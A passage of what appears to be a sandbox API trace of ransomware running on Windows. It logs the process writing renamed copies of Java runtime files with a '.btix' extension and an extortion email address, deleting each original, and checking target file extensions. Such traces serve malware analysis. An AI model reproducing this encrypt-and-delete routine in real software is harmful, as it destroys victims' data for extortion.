dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.432] SetEndOfFile (hFile=0x3a0) returned 1 [0151.433] CloseHandle (hObject=0x3a0) returned 1 [0151.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.433] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 1 [0151.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.434] lstrlenW (lpString=".doc") returned 4 [0151.434] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.434] lstrlenW (lpString=".docx") returned 5 [0151.434] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0151.434] lstrlenW (lpString=".pdf") returned 4 [0151.434] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.434] lstrlenW (lpString=".xls") returned 4 [0151.434] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.434] lstrlenW (lpString=".xlsx") returned 5 [0151.434] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0151.434] lstrlenW (lpString=".ppt") returned 4 [0151.434] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.434] lstrlenW (lpString=".zip") returned 4 [0151.434] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.434] lstrlenW (lpString=".rar") returned 4 [0151.434] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.434] lstrlenW (lpString=".bz2") returned 4 [0151.434] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.434] lstrlenW (lpString=".7z") returned 3 [0151.434] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.434] lstrlenW (lpString=".dbf") returned 4 [0151.434] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.434] lstrlenW (lpString=".1cd") returned 4 [0151.434] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.434] lstrlenW (lpString=".jpg") returned 4 [0151.434] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.435] lstrlenW (lpString=".doc") returned 4 [0151.435] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.435] lstrlenW (lpString=".docx") returned 5 [0151.435] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0151.435] lstrlenW (lpString=".pdf") returned 4 [0151.435] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.435] lstrlenW (lpString=".xls") returned 4 [0151.435] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.435] lstrlenW (lpString=".xlsx") returned 5 [0151.435] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0151.435] lstrlenW (lpString=".ppt") returned 4 [0151.435] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.435] lstrlenW (lpString=".zip") returned 4 [0151.435] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.435] lstrlenW (lpString=".rar") returned 4 [0151.435] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.435] lstrlenW (lpString=".bz2") returned 4 [0151.435] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.435] lstrlenW (lpString=".7z") returned 3 [0151.435] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.435] lstrlenW (lpString=".dbf") returned 4 [0151.435] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.435] lstrlenW (lpString=".1cd") returned 4 [0151.435] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0151.435] lstrlenW (lpString=".jpg") returned 4 [0151.435] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.436] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.436] lstrlenW (lpString="sunec.dll") returned 9 [0151.436] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.436] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=135744) returned 1 [0151.436] CloseHandle (hObject=0x3a0) returned 1 [0151.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0151.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.436] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.436] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.436] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.436] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0151.437] GetLastError () returned 0x0 [0151.437] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x21240, lpOverlapped=0x0) returned 1 [0151.457] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x21250, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x21250, lpOverlapped=0x0) returned 1 [0151.459] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.459] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe6, lpOverlapped=0x0) returned 1 [0151.459] SetEndOfFile (hFile=0x394) returned 1 [0151.459] CloseHandle (hObject=0x394) returned 1 [0151.459] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.460] SetEndOfFile (hFile=0x3a0) returned 1 [0151.461] CloseHandle (hObject=0x3a0) returned 1 [0151.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.462] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 1 [0151.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.462] lstrlenW (lpString=".doc") returned 4 [0151.462] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.462] lstrlenW (lpString=".docx") returned 5 [0151.462] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0151.462] lstrlenW (lpString=".pdf") returned 4 [0151.462] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.462] lstrlenW (lpString=".xls") returned 4 [0151.462] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.462] lstrlenW (lpString=".xlsx") returned 5 [0151.462] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0151.462] lstrlenW (lpString=".ppt") returned 4 [0151.462] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.462] lstrlenW (lpString=".zip") returned 4 [0151.462] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.462] lstrlenW (lpString=".rar") returned 4 [0151.462] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.462] lstrlenW (lpString=".bz2") returned 4 [0151.462] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.463] lstrlenW (lpString=".7z") returned 3 [0151.463] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.463] lstrlenW (lpString=".dbf") returned 4 [0151.463] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.463] lstrlenW (lpString=".1cd") returned 4 [0151.463] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.463] lstrlenW (lpString=".jpg") returned 4 [0151.463] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.463] lstrlenW (lpString=".doc") returned 4 [0151.463] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.463] lstrlenW (lpString=".docx") returned 5 [0151.463] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0151.463] lstrlenW (lpString=".pdf") returned 4 [0151.463] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.463] lstrlenW (lpString=".xls") returned 4 [0151.463] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.463] lstrlenW (lpString=".xlsx") returned 5 [0151.463] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0151.463] lstrlenW (lpString=".ppt") returned 4 [0151.463] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.463] lstrlenW (lpString=".zip") returned 4 [0151.463] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.463] lstrlenW (lpString=".rar") returned 4 [0151.463] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.463] lstrlenW (lpString=".bz2") returned 4 [0151.463] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.463] lstrlenW (lpString=".7z") returned 3 [0151.463] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.464] lstrlenW (lpString=".dbf") returned 4 [0151.464] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.464] lstrlenW (lpString=".1cd") returned 4 [0151.464] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0151.464] lstrlenW (lpString=".jpg") returned 4 [0151.464] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.464] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.464] lstrlenW (lpString="t2k.dll") returned 7 [0151.464] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.465] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=255040) returned 1 [0151.465] CloseHandle (hObject=0x3a0) returned 1 [0151.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0151.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.465] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.465] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.465] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.465] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0151.465] GetLastError () returned 0x0 [0151.465] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x3e440, lpOverlapped=0x0) returned 1 [0151.768] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x3e450, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x3e450, lpOverlapped=0x0) returned 1 [0151.771] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.771] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe2, lpOverlapped=0x0) returned 1 [0151.771] SetEndOfFile (hFile=0x394) returned 1 [0151.878] CloseHandle (hObject=0x394) returned 1 [0151.878] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.878] SetEndOfFile (hFile=0x3a0) returned 1 [0151.880] CloseHandle (hObject=0x3a0) returned 1 [0151.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.880] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 1 [0151.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.881] lstrlenW (lpString=".doc") returned 4 [0151.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.881] lstrlenW (lpString=".docx") returned 5 [0151.881] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0151.881] lstrlenW (lpString=".pdf") returned 4 [0151.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.881] lstrlenW (lpString=".xls") returned 4 [0151.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.881] lstrlenW (lpString=".xlsx") returned 5 [0151.881] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0151.881] lstrlenW (lpString=".ppt") returned 4 [0151.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.881] lstrlenW (lpString=".zip") returned 4 [0151.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.881] lstrlenW (lpString=".rar") returned 4 [0151.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.881] lstrlenW (lpString=".bz2") returned 4 [0151.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.881] lstrlenW (lpString=".7z") returned 3 [0151.881] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.881] lstrlenW (lpString=".dbf") returned 4 [0151.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.882] lstrlenW (lpString=".1cd") returned 4 [0151.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.882] lstrlenW (lpString=".jpg") returned 4 [0151.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.882] lstrlenW (lpString=".doc") returned 4 [0151.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.882] lstrlenW (lpString=".docx") returned 5 [0151.882] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0151.882] lstrlenW (lpString=".pdf") returned 4 [0151.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.882] lstrlenW (lpString=".xls") returned 4 [0151.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.882] lstrlenW (lpString=".xlsx") returned 5 [0151.882] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0151.882] lstrlenW (lpString=".ppt") returned 4 [0151.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.882] lstrlenW (lpString=".zip") returned 4 [0151.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.882] lstrlenW (lpString=".rar") returned 4 [0151.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.882] lstrlenW (lpString=".bz2") returned 4 [0151.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.882] lstrlenW (lpString=".7z") returned 3 [0151.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.882] lstrlenW (lpString=".dbf") returned 4 [0151.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.883] lstrlenW (lpString=".1cd") returned 4 [0151.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0151.883] lstrlenW (lpString=".jpg") returned 4 [0151.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.883] lstrcmpiW (lpString1=".0_144\\COPYRIGHT", lpString2=".btix") returned -1 [0151.883] lstrlenW (lpString="COPYRIGHT") returned 9 [0151.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.884] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=3244) returned 1 [0151.887] CloseHandle (hObject=0x3a0) returned 1 [0151.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0151.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.888] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.888] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0151.888] GetLastError () returned 0x0 [0151.888] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xcac, lpOverlapped=0x0) returned 1 [0151.889] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xcb0, lpOverlapped=0x0) returned 1 [0151.890] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.890] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe6, lpOverlapped=0x0) returned 1 [0151.890] SetEndOfFile (hFile=0x394) returned 1 [0151.890] CloseHandle (hObject=0x394) returned 1 [0151.890] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.890] SetEndOfFile (hFile=0x3a0) returned 1 [0151.891] CloseHandle (hObject=0x3a0) returned 1 [0151.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.891] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0151.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.892] lstrlenW (lpString=".doc") returned 4 [0151.892] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0151.892] lstrlenW (lpString=".docx") returned 5 [0151.892] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0151.892] lstrlenW (lpString=".pdf") returned 4 [0151.892] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0151.892] lstrlenW (lpString=".xls") returned 4 [0151.892] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0151.892] lstrlenW (lpString=".xlsx") returned 5 [0151.892] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0151.892] lstrlenW (lpString=".ppt") returned 4 [0151.892] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0151.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.892] lstrlenW (lpString=".zip") returned 4 [0151.892] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0151.986] lstrlenW (lpString=".rar") returned 4 [0151.986] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0151.986] lstrlenW (lpString=".bz2") returned 4 [0151.986] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0151.986] lstrlenW (lpString=".7z") returned 3 [0151.986] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0151.986] 